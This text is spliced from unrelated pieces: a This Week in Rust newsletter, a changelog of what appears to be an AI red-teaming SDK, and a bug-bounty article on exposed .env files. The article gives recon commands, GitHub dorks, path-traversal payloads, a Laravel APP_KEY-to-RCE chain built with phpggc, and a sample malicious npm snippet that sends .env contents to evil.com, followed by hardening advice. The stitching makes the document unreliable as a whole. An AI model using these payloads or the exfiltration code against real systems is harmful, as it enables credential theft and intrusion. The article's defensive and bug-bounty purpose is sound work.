Observations/Thoughts

• Only Bounds
• Porting our Django backend to Rust improved the infra usage by 90%
• Decimal Crates Comparison and Benchmark | Chinese version
• TeaQL Robot Task Board: a Rust TUI showcase for auditable business workflows
• [video] Rayon is NOT for games - use this instead
• [audio] Veo with Anders Hellerup Madsen and Gorm Casper

Rust Walkthroughs

• [series] Who Runs Your Rust Future? Hands-On Intro to Async Rust
• Extend MySQL Using Rust
• Learn Rust Smart Pointers and Interior Mutability by Building Git Commit Graph Viewer
• heap underflow: classic algorithm solutions in idiomatic Rust, runnable in the browser

Crate of the Week

This week's crate is rustion, a SSH bastion server.

Thanks to handewo for the self-suggestion!

Please submit your suggestions and votes for next week!

Calls for Testing

An important step for RFC implementation is for people to experiment with the implementation and give feedback, especially before stabilization.

If you are a feature implementer and would like your RFC to appear in this list, add a call-for-testing label to your RFC along with a comment providing testing instructions and/or guidance on which aspect(s) of the feature need testing.

No calls for testing were issued this week by Rust, Cargo, Rustup or Rust language RFCs.

Let us know if you would like your feature to be tracked as a part of this list.

Call for Participation; projects and speakers

CFP - Projects

Always wanted to contribute to open-source projects but did not know where to start? Every week we highlight some tasks from the Rust community for you to pick and get started!

Some of these tasks may also have mentors available, visit the task page for more information.

• cuda-oxide Windows fork - test the Windows MSVC release on more CUDA/Windows setups
• openslate - add unit tests for slugify() in api/src/notes.rs
• openslate - add integration tests for notes CRUD in api/src/notes.rs
• openslate - add integration tests for auth flow in api/src/users.rs
• openslate - add unit tests for build_fts_query() in api/src/search.rs
• openslate - add integration tests for auth middleware and logout in api/src/auth.rs
• openslate - add integration tests for media endpoints (DB layer) in api/src/media.rs
• openslate - add unit tests for ext_from_mime() and filename_from_url() in api/src/media.rs
• reliakit - add a typed_csv example to the umbrella crate
• reliakit - implement CsvField for char
• reliakit - implement CsvField for the core::net address types
• reliakit - write a short "which resilience block do I use?" guide
• reliakit - extract a reusable rolling-window counter from RollingBreaker

If you are a Rust project owner and are looking for contributors, please submit tasks here or through a PR to TWiR or by reaching out on Bluesky or Mastodon!

CFP - Events

Are you a new or experienced speaker looking for a place to share something cool? This section highlights events that are being planned and are accepting submissions to join their event as a speaker.

If you are an event organizer hoping to expand the reach of your event, please submit a link to the website through a PR to TWiR or by reaching out on Bluesky or Mastodon!

Updates from the Rust Project

526 pull requests were merged in the last week

Compiler

• add extern "tail" calling convention
• add very basic "comptime" fn implementation
• avoid unreachable_code on required return values
• cleanup and optimize render_impls
• macros: report unbound metavariables directly
• rewrite rustc_span::symbol::Interner to avoid double hashing
• staticlib hide internal symbols

Library

• add APIs for case folding to the standard library
• add _value API for number literals in proc-macro
• further optimize SliceIndex<str> impl for Range<usize>
• improve TLS codegen by marking the panic/init path as cold
• perf: use get_unchecked for TwoWaySearcher
• stabilize PathBuf::into_string
• stabilize Result::map_or_default and Option::map_or_default

Cargo

• strip CR from cargo:token-from-stdout

Rustdoc

• IXCRE: preserve sizedness bounds on type params belonging to the parent item
• don't link doc(hidden) associated type projections
• fix trait impl ordering
• render impl restriction

Clippy

• support iter_mut in ITER_NEXT_SLICE
• borrowed_box: clean-up, improve suggestion message
• double_must_use: make the lint machine-applicable in single-attribute case
• iter_cloned_collect: split off the suggestion from the main message
• add manual_isolate_lowest_one lint
• detect more ranges in single_range_in_vec_init
• do not trigger inline_trait_bounds on auto-derived code
• extend extra_unused_lifetimes for spurious for<'a>
• large_const_arrays: check nested large arrays
• fix explicit_counter_loop false positive when the counter is only modified inside the else block of let...else binding
• fix result_large_err and result_unit_err not triggering on async functions
• fix unused_async_trait_impl suggestions with return statements
• fix lints duplications in unknown_attribute and renamed_builtin_attr
• obtaining the metadata of a const pointer is a const operation
• perf: avoid cloning associated items in empty_line_after
• perf: skip the boxed_local walk for functions without a Box parameter
• perf: skip the inline_always relevance walk for items without the attribute

Rust-Analyzer

• feat(diagnostics): emit error for infer vars in non-inference contexts
• adopt uv's AI policy
• distribute windows builts with mimalloc
• lower field defaults to rustc_type_ir::Consts
• RunnableKind::Test should map to project_json::RunnableKind::TestOne
• extract_function misses &mut for container[i].mut_method()
• do not emit a "type annotations needed" error on include_bytes!() where the array length cannot be inferred
• no generate unused generic params in trait sign
• parse OR pattern types
• rename schema subItems with sub_items
• implement rust-analyzer/evaluatePredicate lsp extension
• parse unnamed enum variants

Rust Compiler Performance Triage

A fairly noisy week, with a bunch of small regressions contained within, leading to a slight increase on average in instruction counts. This week had a lot of large rollups, likely due to some CI problems, but thankfully many of those came with pre-triaged perf results by the time (thank you to those triagers!). Roughly similar slight regressions for cycles and wall times across the week.

Triage done by @simulacrum. Revision range: 4804ad7e..f3ef3bd8

2 Regressions, 0 Improvements, 10 Mixed; 5 of them in rollups 32 artifact comparisons made in total

Full report here

Approved RFCs

Changes to Rust follow the Rust RFC (request for comments) process. These are the RFCs that were approved for implementation this week:

• #![register_{attribute,lint}_tool]

Final Comment Period

Every week, the team announces the 'final comment period' for RFCs and key PRs which are reaching a decision. Express your opinions now.

Tracking Issues & PRs

• Document panic in RangeInclusive::from(legacy::RangeInclusive)
• Tracking Issue for explicit-endian String::from_utf16
• Tracking Issue for substr_range and related methods
• Decide and document where stdarch intrinsics are allowed to diverge from asm behavior
• Document that ManuallyDrop's Box interaction has been fixed
• Add temporary scope to assert_eq and assert_ne
• Clean up crate type names to fix dylib vs staticlib confusion
• Add T: PartialEq bounds to derived StructuralPartialEq impls.
• stabilize feature float_algebraic

• Deny todo!() in tidy

• Rust All Hands 2027

No Items entered Final Comment Period this week for Rust RFCs, Cargo, Language Team, Language Reference or Unsafe Code Guidelines.

Let us know if you would like your PRs, Tracking Issues or RFCs to be tracked as a part of this list.

New and Updated RFCs

• RFC for convenient, explicit closure capture using move($expr) expressions

Upcoming Events

Rusty Events between 2026-06-10 - 2026-07-08 🦀

Virtual

• 2026-06-10 | Virtual (Girona, ES) | Rust Girona
  • Weekly coding session
• 2026-06-12 | Virtual (Kenya, KE) | RustaceansKenya
  • RUST FOR CIVIC TECH
• 2026-06-16 | Virtual (Washington, DC, US) | Rust DC
  • Mid-month Rustful
• 2026-06-17 | Hybrid (Vancouver, BC, CA) | Vancouver Rust
  • Rust Study/Hack/Hang-out
• 2026-06-17 | Virtual (Girona, ES) | Rust Girona
  • Weekly coding session
• 2026-06-18 | Hybrid (Seattle, WA, US) | Seattle Rust User Group
  • June, 2026 SRUG (Seattle Rust User Group) Meetup
• 2026-06-18 | Virtual (Berlin, DE) | Rust Berlin
  • Rust Hack and Learn
• 2026-06-21 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
  • Rust Deep Learning: Third Sunday
• 2026-06-23 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
  • Fourth Tuesday
• 2026-06-23 | Virtual (London, UK) | Women in Rust
  • Lunch & Learn: What the heck are monads - and how do we fake them in Rust
• 2026-07-01 | Virtual (Indianapolis, IN, US) | Indy Rust
  • Indy.rs - with Social Distancing
• 2026-07-02 | Virtual (Berlin, DE) | Rust Berlin
  • Rust Hack and Learn
• 2026-07-02 | Virtual (Nürnberg, DE) | Rust Nuremberg
  • Rust Nürnberg online
• 2026-07-05 | Virtual (Dallas, TX, US) | Dallas Rust User Meetup
  • Rust Deep Learning: First Sunday
• 2026-07-07 | Virtual (London, GB) | Women in Rust
  • 👋 Community Catch Up

Europe

• 2026-06-10 | Köln, DE | Rust Cologne
  • Rust in June: Speedy Rust
• 2026-06-10 | München, DE | Rust Munich
  • Rust Munich 2026 / 2 - Hacking Evening
• 2026-06-11 | Berlin, DE | Rust Berlin
  • Rust Berlin on location 🏳️‍🌈 - Edition 014
• 2026-06-11 | Switzerland, CH | PostTenebrasLab
  • Rust Meetup Geneva
• 2026-06-12 - 2026-06-14 | Kraków, PL | Rustmeet
  • Rustmeet
• 2026-06-16 | Leipzig, DE | Rust - Modern Systems Programming in Leipzig
  • Interactive: Everything is Open Source
• 2026-06-16 | Milano, IT | Rust Language Milan
  • Real-time planning in Rust: SolverForge & SERIO
• 2026-06-18 | Aarhus, DK | Rust Aarhus
  • Talk Night at Danske Commodities
• 2026-06-18 | Barcelona, ES | BcnRust
  • 21st BcnRust Meetup
• 2026-06-19 | Dresden, DE | Rust Dresden
  • Second Meetup
• 2026-06-23 | Paris, FR | Rust Paris
  • Rust meetup #86
• 2026-06-23 | Warsaw, PL | Rust Warsaw
  • Rust Warsaw Meetup: June 2026
• 2026-06-25 | Berlin, DE | Rust Berlin
  • Rust Berlin Talks: The next generation
• 2026-07-02 | Edinburgh, GB | Rust and Friends
  • Bevy, Bits, & Cats (Rust July Talks)
• 2026-07-02 | Enschede, OV, NL | Baseflow Tech Meetups
  • AI Summit
• 2026-07-08 | Dublin, IE | Rust Dublin
  • Join us live and INPERSON for Rust 261

North America

• 2026-06-11 | Lehi, UT, US | Utah Rust
  • Utah Rust June Meetup
• 2026-06-11 | Mountain View, CA, US | Hacker Dojo
  • RUST MEETUP at HACKER DOJO
• 2026-06-11 | San Diego, CA, US | San Diego Rust
  • San Diego Rust June Meetup - Back in person!
• 2026-06-16 | San Francisco, CA, US | San Francisco Rust Study Group
  • Rust Hacking in Person
• 2026-06-16 | San Francisco, CA, US | San Francisco Rust Study Group
  • Rust Hacking in Person
• 2026-06-17 | Hybrid (Vancouver, BC, CA) | Vancouver Rust
  • Rust Study/Hack/Hang-out
• 2026-06-18 | Hybrid (Seattle, WA, US) | Seattle Rust User Group
  • June, 2026 SRUG (Seattle Rust User Group) Meetup
• 2026-06-24 | Austin, TX, US | Rust ATX
  • Rust Lunch - Fareground
• 2026-06-24 | Los Angeles, CA, US | Rust Los Angeles
  • Rust LA: Rust-Based Constraint Solvers in 2D Sketching with Zoo Technologies
• 2026-06-25 | Atlanta, GA, US | Rust Atlanta
  • Rust-Atl
• 2026-06-26 | New York, NY, US | Rust NYC
  • Rust NYC's Big Summer Social
• 2026-07-02 | Saint Louis, MO, US | STL Rust
  • Git is easy?

Oceania

• 2026-06-11 | Brisbane City, QL, AU | Rust Brisbane
  • Rust Brisbane • June 2026
• 2026-06-25 | Melbourne, AU | Rust Melbourne
  • Rust Melbourne June 2026

South America

• 2026-06-18 | Florianópolis, BR | Rust SC
  • Rust Floripa

If you are running a Rust event please add it to the calendar to get it mentioned here. Please remember to add a link to the event too. Email the Rust Community Team for access.

Jobs

Please see the latest Who's Hiring thread on r/rust

Quote of the Week

It's a footgun, yes, but it's a sound footgun.

– Prof. Dr. Ralf Jung on github

Thanks to Theemathas for the suggestion!

Please submit quotes and vote for next week!

This Week in Rust is edited by:

• nellshamrell
• llogiq
• ericseppanen
• extrawurst
• U007D
• mariannegoldin
• bdillo
• opeolluwa
• bnchi
• KannanPalani57
• tzilist

Email list hosting is sponsored by The Rust Foundation

Discuss on r/rust

Read more: Cloudflare acquires Vite-maker Voidzero for an AI-native web

Features

• #318: add context param to JudgmentRequest for extra judge evaluation input (#554) (1947824)
• add GOAT strategy with dynamic technique selection for RedTeamAgent (#346) (2896c97)
• ci/#364: add pr-auto-approve.yml as passive observer (PR #1 of 4) (#485) (4d84597)
• red-team: zero-friction report dashboard — auto-save + scenario redteam-report CLI (2896c97)
• test/#516: bind PR #511 voice scenarios via vitest-cucumber (retrofit PR-A) (#517) (c247f42)
• typescript-sdk/#372: voice agent contract surface (types only, PR1 of N) (#511) (9216d35)
• typescript-sdk: voice agent testing — consolidated clean stack (#561) (5847c4b)

Bug Fixes

• deps: bump fast-uri to >=3.1.2 for high severity CVEs (#450) (474ab65)
• deps: bump fast-uri to >=3.1.2 to resolve high severity vulnerabilities (474ab65)
• deps: bump liquidjs override to >=10.26.0 to close RCE/ReDoS alerts (#591) (daaf9cc)
• deps: bump protobufjs to >=7.5.6/>=8.0.2 for high severity CVEs (#463) (f008161)
• deps: bump protobufjs to >=8.0.2 for 4 high severity CVEs (#462) (e2c0499)
• deps: override hono to >=4.12.18 for JWT NumericDate validation CVE (#477) (d81ff1a)
• deps: override langsmith to >=0.6.0 for CVE fix (#471) (4e5237e)
• deps: override langsmith to >=0.6.0 for prompt deserialization CVEs (4e5237e)
• deps: override minimatch to >=9.0.6 (CVE-2026-26996) (#395) (ceb0b59)
• deps: override qs to >=6.14.2 for arrayLimit bypass DoS CVE (#482) (51a2b6d)
• deps: resolve 4 high-severity Dependabot security alerts (#393) (97f257d)
• examples: stabilize custom LLM judge criteria matching (#396) (f4b536c)
• examples: use positional index matching in custom judge examples (f4b536c)
• judge: harden forceVerdict so discovery tools cannot leak (JS + Python) (#377) (0e2859f)
• red-team: annotate H_attacker when post-hoc injection fires (#326, #334) (2896c97)
• security: bump liquidjs override to fix memoryLimit bypass, memory amplification, and DoS CVEs (25ba99d)
• security: bump liquidjs to fix 4 additional high-severity CVEs (#412) (25ba99d)
• security: delete orphaned vitest lockfile recreated during rebase (ea8a19c)
• security: delete orphaned vitest lockfile to fix 8 Dependabot alerts (#426) (ea8a19c)
• security: patch @modelcontextprotocol/sdk ReDoS, DNS rebinding, and data leak (#410) (b993066)
• security: patch @modelcontextprotocol/sdk ReDoS, DNS rebinding, and data leak CVEs (b993066)
• security: patch critical CVEs in protobufjs and handlebars (#390) (de89d50)
• security: patch critical vulnerabilities in protobufjs and handlebars (de89d50)
• security: patch CVE-2026-27903 in minimatch (#398) (b61cc60)
• security: patch flatted prototype pollution via parse() (#421) (3a20e6c)
• security: patch langchain serialization injection vulnerability (#420) (89dd094)
• security: patch path-to-regexp DoS in openai-realtime-demo (c6e55b0)
• security: patch path-to-regexp DoS in openai-realtime-demo (CVE-2026-4926) (#428) (c6e55b0)
• security: patch path-to-regexp DoS via sequential optional groups (#416) (752539a)
• security: patch rollup arbitrary file write via path traversal (#399) (55a0259)
• security: patch rollup path traversal CVE (>= 4.0.0, < 4.59.0) (55a0259)
• security: patch trim-newlines uncontrolled resource consumption (#415) (1c507c3)
• security: patch vite server.fs.deny bypass and WebSocket file read CVEs (#419) (7bb7af9)
• security: upgrade picomatch, @hono/node-server, and glob to fix CVEs (#394) (4395e52)

Miscellaneous

• deps: bump @ungap/structured-clone past 1.3.1 (CWE-502) (#544) (f716e46)
• deps: bump pnpm/action-setup from 2.4.1 to 5.0.0 (#300) (053cc3a)
• deps: remove unused nanoid-cli devDep from vitest examples (#422) (d4a40a5)
• main-side cleanup — docs + spec + python/TS parity (#586) (371f94c)
• tests: remove flaky 10-turn travel-planning example test (#423) (bbe86de)
• tests: remove flaky live-LLM travel-agent example test (ac911ff)
• tests: remove flaky travel-agent example test (#425) (ac911ff)
• tests: remove no-op example tests + audit notes (#424) (947f219)
• tests: remove no-op example tests that always pass or are skipped (947f219)

Code Refactoring

• test/#522: move instanceof assertions from Given to Then in voice contract surface (#559) (c8cca4e)

For bug bounty hunters, .env exposure remains one of the highest-impact, lowest-effort findings. The methodology is straightforward: subdomain enumeration, content discovery, GitHub dorking, and source map analysis. The payoff can be complete database access, cloud account takeover, or Remote Code Execution.

For developers and security teams, the solution requires a cultural shift: treat .env files as explosive devices, move secrets out of configuration files entirely, use short-lived credentials, block hidden files at the server level, and scan everything -- including AI-generated code -- before it reaches production.

Part I: The .env File Crisis — Why 12 Million Exposed Files Should Terrify You

The Anatomy of a .env File

The .env file is the silent backbone of modern web application configuration. It stores environment variables in a simple KEY=VALUE format and is consumed by frameworks like Laravel, Django, Ruby on Rails, Symfony, and countless Node.js applications at startup. The problem is not the concept -- it is how these files are handled, deployed, and (mis)protected.

A typical .env file might contain:

DB_HOST=production-db.internal.corp.com
DB_DATABASE=main_production
DB_USERNAME=root
DB_PASSWORD=Str0ng!Passw0rd
APP_KEY=base64:abcdef1234567890abcdef1234567890
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
STRIPE_SECRET=sk_live_4eC39HqLyjWDarjtT1zdp7dc
REDIS_HOST=127.0.0.1
REDIS_PASSWORD=secret
MAIL_USERNAME=admin@corp.com
MAIL_PASSWORD=smtp_password_here

One file. One misconfiguration. Total compromise.

The 2024 Unit 42 Campaign: Scale of the Problem

In August 2024, Palo Alto Networks’ Unit 42 uncovered a massive cloud extortion campaign that directly exploited exposed .env files. The numbers are staggering:

• 110,000 domains scanned for exposed .env files
• 90,000+ unique leaked environment variables harvested
• 7,000+ cloud service credentials (AWS, Azure, GCP, DigitalOcean)
• 1,500+ social media account credentials
• 1,185 unique AWS access keys
• 333 PayPal OAuth tokens
• 235 GitHub tokens
• 111 HubSpot API keys
• 39 Slack webhooks

The attack chain was elegant and terrifying:

Scan — Automated internet-wide scanning using malicious AWS Lambda functions, iterating over millions of domains with curl requests to http://<target>/.env

Harvest — Extract all environment variables from accessible .env files

Escalate — Use exposed IAM access keys to create new IAM roles with administrative permissions

Propagate — Deploy new Lambda functions to continue scanning from within the victim’s own cloud infrastructure

Exfiltrate — Steal data from S3 buckets and other cloud storage

Extort — Leave ransom notes threatening to sell the data on the dark web

Source: Unit 42 — Large-Scale Cloud Extortion Operation

The 2026 Security Affairs Study: 12 Million Files

Fast forward to February 2026: Security Affairs reported that researchers had identified over 12 million exposed .env files across the internet. The primary exposure vectors:

1. Web server misconfiguration — No rule blocking hidden files (files starting with a dot). Simply visiting https://example.com/.env returns the entire file.
2. Reverse proxies forwarding sensitive paths — Nginx or Apache misconfigured to serve static files from the project root.
3. Container images embedding secrets — Dockerfiles using COPY . . which includes .env in the image layers.
4. Forgotten backup files — .env.bak, .env.old, .env.save, env.txt left in web-accessible directories.
5. Git repository exposure — The .env file committed to source control, then the repo made public or accessed via exposed .git directories.

Part II: Real-World Bug Hunting with .env Files

Case Study 1: Azure Subdomain .env Disclosure

Source: Infosec Writeups / Bug Bounty Program

A bug bounty hunter was conducting reconnaissance on a target and discovered a subdomain that appeared to be running Laravel. Using ffuf for content discovery, they ran a wordlist against the subdomain:

ffuf -u https://target-subdomain.azurewebsites.net/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt

The scan returned a 200 OK for /.env -- but accessing it directly returned a 403 Forbidden. The hunter noticed something critical: the CNAME record pointed to *.azurewebsites.com, and while the main domain had restrictions, the underlying Azure-hosted subdomain did not.

By accessing the raw Azure endpoint URL, the .env file was fully readable, revealing:

DB_CONNECTION=mysql
DB_HOST=internal-db.mysql.database.azure.com
DB_PORT=3306
DB_DATABASE=production_db
DB_USERNAME=admin
DB_PASSWORD=P@ssw0rd!
MAIL_HOST=smtp.sendgrid.net
MAIL_USERNAME=apikey
MAIL_PASSWORD=SG.xxxxxxxxxxxxxxxx

Impact: Database credentials + SMTP API key for SendGrid. With these, the hunter could have dumped the entire production database and sent phishing emails as the legitimate domain.

Case Study 2: Laravel APP_KEY to RCE Chain

Source: Multiple researchers (Mogwai Labs, Ghostable, Stratosally)

This is one of the most dangerous exploitation chains in the Laravel ecosystem. The .env file contains APP_KEY, which is the cryptographic backbone of the entire Laravel application. It is used for encrypting cookies, session data, and serialized objects.

The vulnerability: Laravel’s Crypt::decrypt() function uses PHP's unserialize() under the hood. If an attacker has the APP_KEY, they can craft a malicious encrypted payload that, when decrypted, triggers PHP object injection leading to Remote Code Execution.

The exploitation chain:

1. Discover the APP_KEY — Find it in an exposed .env file, or via GitHub dorking (filename:.env APP_KEY).
2. Use phpggc — The PHP Generic Gadget Chains tool (phpggc) generates gadget chains for Laravel.

# Clone phpggc
git clone https://github.com/ambionics/phpggc
cd phpggc

# Generate a Laravel RCE gadget chain
php phpggc Laravel/RCE1 system 'id' --base64

3. Encrypt with the APP_KEY — The attacker encrypts the malicious payload using the stolen APP_KEY:

# Pseudocode for encrypting with the leaked APP_KEY
$payload = base64_decode('<phpggc_output>');
$key = base64_decode(substr('base64:abcdef1234567890abcdef1234567890', 7));
$iv = random_bytes(16);
$encrypted = openssl_encrypt($payload, 'aes-256-cbc', $key, OPENSSL_RAW_DATA, $iv);
$final = base64_encode($iv . $encrypted);

4. Deliver the payload — Send the encrypted value as a Laravel session cookie or any other decrypted input.

5. RCE — Laravel decrypts the payload, PHP unserializes it, and the attacker’s command executes.

Real-world impact: In 2025, researchers found hundreds of Laravel APP_KEY values leaked on GitHub. Tools like phpggc make weaponization trivial. The attacker does not need SQL injection or file upload -- just one exposed .env file.

Case Study 3: GitHub Dorking for .env Files at Scale

Source: Multiple bug bounty hunters

Advanced GitHub dorking is one of the most productive techniques for finding exposed .env files. The key operators:

# Find all .env files across all public repositories
filename:.env

# Find .env files in a specific organization
org:targetcompany filename:.env

# Find .env files containing specific sensitive keys
filename:.env "AWS_ACCESS_KEY_ID"
filename:.env "DB_PASSWORD"
filename:.env "STRIPE_SECRET"
filename:.env "APP_KEY"

# Find .env files mentioning a specific domain
"target.com" filename:.env

# Combined: target company .env with API keys
org:targetcompany filename:.env ("API_KEY" OR "SECRET" OR "PASSWORD")

# Search for config files broadly
filename:.env "production" AND ("sk_live" OR "AKIA" OR "service_role")

Pro tip from hunters: Combine with extension: and path: operators:

# Search specific paths
path:config filename:.env
path:laravel filename:.env

# Search for backup variants
filename:.env.bak
filename:.env.old
filename:.env.local
filename:.env.production

The Snyk 2025 State of Secrets Report revealed that 28 million credentials were leaked on GitHub in 2025 alone, with .env files being one of the top sources.

Case Study 4: Exposed Source Maps Leading to Stripe Secret Keys

Source: Sentry Security Blog / Prodefense.io

A bug bounty hunter discovered that a target website had accidentally deployed JavaScript source maps to production. Source maps (.map files) are used during development to map minified JavaScript back to original source code for debugging.

The attacker used Sourcemapper (a tool that reconstructs original source from .map files):

# Install sourcemapper
pip install sourcemapper

# Download and reconstruct source from an exposed source map
sourcemapper -url https://target.com/assets/js/app.js.map -output ./reconstructed/

Inside the reconstructed source code, the hunter found:

// Original source code exposed
const stripe = require('stripe');
const stripeClient = new stripe('sk_live_4eC39HqLyjWDarjtT1zdp7dc');

// Internal API endpoints
const adminApi = 'https://internal-admin.target.com/api/v2/';
const deleteUserEndpoint = `${adminApi}users/delete/`;

Impact: The Stripe live secret key (starting with sk_live_) allowed the attacker to make unauthorized charges, refunds, and access all customer payment data. The exposed admin API endpoints opened the door for further exploitation.

Case Study 5: Exposed .git Directory — Full Source Code in Version Control History

Source: PortSwigger Web Security Academy / NCSC Switzerland

A production server had its .git directory publicly accessible. The .git folder contains the complete version control history of the project, including every file that was ever committed -- even files that were later deleted or whose secrets were "removed" in subsequent commits.

# Recursively download the entire .git directory from the live server
wget -r https://target.com/.git/

# Check the Git log for secrets that were "removed"
git log -p | grep -E 'password|secret|key|token|AKIA'

The NCSC Switzerland audit found 1,300 affected systems in Switzerland alone where .git folders were publicly accessible, exposing source code, access data, and passwords.

Real bug bounty example: A hunter found that a target’s .git directory was browsable. Running git log --diff revealed a commit message: "Remove admin password from config". The diff showed the previous version of the config file with the hardcoded admin password still in Git history:

git show <commit_hash>
# Output:
# - ADMIN_PASSWORD=SuperSecretPass123!
# + ADMIN_PASSWORD=${ADMIN_PASSWORD_ENV}

The password was removed from the current file but remained forever in Git history. The hunter logged in as administrator and completely took over the application.

Part III: Advanced Reconnaissance & Hunting Methodology

Phase 1: Subdomain Enumeration

Before you can find exposed files, you need to know where to look.

# Passive enumeration
subfinder -d target.com -o subdomains.txt
amass enum -passive -d target.com -o amass.txt
assetfinder --subs-only target.com >> subdomains.txt

# Active enumeration
ffuf -u https://FUZZ.target.com -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt

# Certificate Transparency
curl -s "https://crt.sh/?q=%25.target.com&output=json" | jq -r '.[].name_value' | sort -u

# Combine and deduplicate
cat subdomains.txt | sort -u | httpx -silent -o live_hosts.txt

Phase 2: Content Discovery for .env Files

# Using ffuf for .env file discovery
ffuf -u https://target.com/FUZZ \
  -w wordlist.txt \
  -fc 403,404 \
  -t 100

# .env-specific wordlist
echo ".env
.env.bak
.env.old
.env.save
.env.local
.env.production
.env.development
env.txt
env
.env.example" > env_wordlist.txt

# Recursive discovery with feroxbuster
feroxbuster -u https://target.com \
  -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-large-directories.txt \
  -x env,txt,bak,old,swp,save,conf,config \
  --depth 3 \
  --silent

Phase 3: Advanced GitHub Dorking

# Automated GitHub dorking with gitdorker
gitdorker -q target.com -tf ./tf/ -d ./Dorks/Alldorks.ndjson -o output

# Manual targeted dorks
site:github.com target.com filename:.env
site:github.com target.com "DB_PASSWORD"
site:github.com target.com "sk_live_" "Stripe"
site:github.com target.com "AKIA" "AWS"
site:github.com "target" filename:".env" "APP_KEY"

Phase 4: Source Map Enumeration

# Check for source maps on live targets
cat live_hosts.txt | while read url; do
  # Try common source map locations
  curl -s -o /dev/null -w "%{http_code}" "$url/assets/js/app.js.map"
  curl -s -o /dev/null -w "%{http_code}" "$url/static/js/main.js.map"
  curl -s -o /dev/null -w "%{http_code}" "$url/build/static/js/main.js.map"
done

# Reconstruct and grep for secrets
sourcemapper -url https://target.com/js/app.js.map -output ./recon/
grep -rni "sk_live\|AKIA\|password\|secret\|token" ./recon/

Phase 5: Directory Traversal Testing

Sometimes .env files are not at the root but accessible through path traversal:

# Path traversal payloads
ffuf -u https://target.com/page.php?file=FUZZ \
  -w traversal_wordlist.txt

# Common traversal wordlist entries
../../../.env
..%252f..%252f..%252f.env
....//....//....//.env
..\;../..\;../.env
/static/../../../.env

Part IV: The Expanded Attack Surface Beyond .env

Source Maps

Source maps (.map files) are JavaScript's hidden tell-all. They reconstruct minified code back to the original source, complete with comments, function names, and file structure.

What source maps can reveal:

• Original source code and business logic
• Developer comments (TODOs, FIXMEs, known bugs)
• Internal API endpoints and admin panels
• Hardcoded credentials
• Third-party integration details
• Environment variable expectations

# Check for common source map locations
curl -si https://target.com/static/js/main.abc123.js.map
curl -si https://target.com/assets/js/app.js.map
curl -si https://target.com/build/js/bundle.js.map

# Parse source maps for secrets (Node.js)
npm install -g source-map-cli
curl -s https://target.com/js/app.js.map | source-map --raw | grep -E 'key|token|secret|password'

Exposed .git Directories

The .git directory is perhaps the most dangerous exposure because it contains the entire history of the project.

Tools for .git exploitation:

# git-dumper - downloads entire .git repo
git-dumper https://target.com/.git/ ./downloaded_repo/

# GitTools - extract from exposed .git
git clone https://github.com/internetwache/GitTools
cd GitTools/Dumper
./gitdumper.sh https://target.com/.git/ ./repo/
cd GitTools/Extractor
./extractor.sh ./repo/ ./extracted/

# Search entire Git history for secrets
cd extracted
git log --all -p | grep -E '(password|secret|key|token|AKIA|sk_live)'
git log --all --diff-filter=D --summary | grep delete  # Find deleted files

Backup Files

Developers frequently create backup files during maintenance:

# Common backup file extensions
.bak, .old, .orig, .copy, .tmp, .swp, .swo, .save, ~ (tilde)

# Fuzzing for backup files
ffuf -u https://target.com/FUZZ \
  -w backup_wordlist.txt

# Example wordlist entries
config.php.bak
.env.bak
database.php.old
wp-config.php~
index.php.swp
.env.save

Configuration Files

Beyond .env, other config files often contain secrets:

# Common config files to hunt
config.json
config.php
config.js
settings.py
application.properties
application.yml
database.yml
credentials.json
service-account.json
wp-config.php

Part V: The Supply Chain Angle — Malicious Dependencies

Malicious packages actively hunt for .env files during installation. Since npm install (and pip install, gem install, etc.) can execute arbitrary code, a compromised dependency can:

// Malicious package.js (hypothetical but based on real incidents)
const fs = require('fs');
const https = require('https');

// Read .env file
const envContent = fs.readFileSync('.env', 'utf8');

// Exfiltrate to attacker server
https.get(`https://evil.com/exfil?data=${Buffer.from(envContent).toString('base64')}`);

Real incidents:

• Shai-Hulud NPM worm — Designed to hunt and exfiltrate NPM and GitHub tokens at scale
• @ctrl/tinycolor compromise (2.2M weekly downloads) — Attackers weaponized TruffleHog itself as a payload to find and exfiltrate secrets
• node-ipc supply chain attack — Malicious versions published to target specific developers
• Cursor AI editor incident (2024) — .env file contents were being sent to servers for tab completion, even when files were listed in .cursorignore

Part VI: Defense in Depth — How to Protect Against .env Exposure

Immediate Remediation

1. Block hidden files at the server level

# Apache
<FilesMatch "^\.">
    Require all denied
</FilesMatch>

# Nginx
location ~ /\.(?!well-known) {
    deny all;
    return 404;
}

// IIS
<system.webServer>
    <security>
        <requestFiltering>
            <hiddenSegments>
                <add segment=".env" />
            </hiddenSegments>
        </requestFiltering>
    </security>
</system.webServer>

2. Remove .env from web-accessible directories -- Move it outside the document root.

3. Implement CSP headers to restrict where scripts can load from.

4. Disable source maps in production builds:

// webpack.config.js
module.exports = {
  // ...
  devtool: process.env.NODE_ENV === 'production' ? false : 'source-map',
};

// vite.config.js
export default defineConfig({
  build: {
    sourcemap: process.env.NODE_ENV !== 'production',
  },
});

// next.config.js
module.exports = {
  productionBrowserSourceMaps: false,
};

Prevention

1. Use a secrets manager — HashiCorp Vault, AWS Secrets Manager, Azure Key Vault, GCP Secret Manager
2. Implement .gitignore correctly and audit with git-secrets or trufflehog
3. Use pre-commit hooks to scan for secrets:

# .pre-commit-config.yaml
repos:
  - repo: https://github.com/awslabs/git-secrets
    rev: master
    hooks:
      - id: git-secrets

4. Rotate secrets regularly — If a .env file might have been exposed, rotate every credential in it immediately.

5. Scanner automation — Integrate secret scanning into CI/CD pipelines:

# TruffleHog scan in CI
trufflehog filesystem --directory=. --json | jq '.'

6. Use ephemeral credentials — Short-lived tokens (IAM roles, OAuth2 token exchange) instead of long-lived API keys.

Detection

1. Monitor for /.env requests in access logs
2. Use automated scanners like shhgit, trufflehog, git-secrets
3. Deploy canary tokens — Fake credentials placed in .env files that alert when used

Part VII: The 2026 Vibe Coding Problem

The rise of AI-assisted development — “vibe coding” — has introduced a new dimension to the .env crisis. Research from 2026 shows that AI-generated code frequently makes mistakes that expose secrets:

• Hallucinated dependencies — AI tools generate package.json files with packages that do not exist in the registry, creating opportunities for typosquatting attacks
• Hardcoded credentials — AI models trained on public code learn the pattern of hardcoding secrets and reproduce it
